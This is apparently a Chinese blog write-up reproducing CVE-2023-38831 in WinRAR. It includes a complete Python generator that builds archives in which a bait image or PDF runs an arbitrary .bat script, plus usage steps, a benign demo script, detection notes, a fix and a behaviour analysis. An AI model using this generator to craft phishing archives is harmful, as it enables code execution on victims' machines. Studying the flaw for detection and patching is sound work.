CVE-2023-38831 winrar漏洞复现

漏洞原理

1.WinRAR 0day漏洞允许攻击者创建恶意 .RAR 和 .ZIP 存档,这些存档显示看似无害的诱饵文件,例如 JPG (.jpg) 图像、文本文件 (.txt) 或 PDF (.pdf),用户双击使用winRAR打开查看压缩文件,并在winRAR窗口中点击查看时触发漏洞 。

2.影响版本:WinRar 版本 < 6.23

漏洞复现环境搭建

由于winrar官网找不到6.23之前的版本所以使用了GitHub上其它的WinRAR备份

GitHub - n2far2000/winrarsc: WinRAR Official Release (Simplified Chinese)

漏洞复现流程

1.github等相关POC可以直接下载

import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"
 
BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
SCRIPT_NAME = "script.bat"
 
if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .\cve-2023-38831-exp-gen.py poc
          python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()
 
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
 
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)
 
if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)
 
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
 
# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()
 
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
 
with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
 
os.remove(TEMPLATE_NAME + ".zip")
 
with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)
 
print("ok..")

2.poc使用需要三个参数,分别为诱导文件,可以是图片或者pdf,诱使被害者点击文件,文件执行的脚本,生成的压缩包名,需要创建好诱导文件和脚本。

3.编写执行脚本,创建好诱导文件test.bmp,脚本文件script.bat

@echo off
start "" "https://ys.mihoyo.com/"
start "" "https://ys-api.mihoyo.com/event/download_porter/link/ys_cn/official/pc_default

4.打开cmd输入:

python .\cve-2023-38831-exp-gen.py test.bmp script.bat poc.rar

5.点击诱导文件

6.成功执行bat文件内容

漏洞特征

CVE-2023-38831的利用过程全程不出网,易出现在钓鱼邮件附件中,无法从抓包看出流量特征,但是文件会执行.bat文件,通过行为和bat文件内容,如果使用EDR,火绒,等终端安全设备是可以成功拦截的。

漏洞修复建议

升级WinRar 版本 > 6.24

行为分析

 使用微软官方下载的Process Monitor进行行为分析 WinRAR 进程会向如下 Temp 中的目录创建两个文件分别是“test.bmp”,"test.bmp.cmd"都是用QueryDirectory 函数进行查询

执行 cmd.exe 的操作同样是 WinRAR.exe 进程创建的,调用 SHELL32.dll库,通过 ShellExecuteW 创建

参考文章:WinRAR漏洞复现(CVE-2023-38831)-CSDN博客

WinRAR 0day漏洞CVE-2023-38831复现最详解 - FreeBuf网络安全行业门户

GitHub - BoredHackerBlog/winrar_CVE-2023-38831_lazy_poc: lazy way to create CVE-2023-38831 winrar file for testing

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值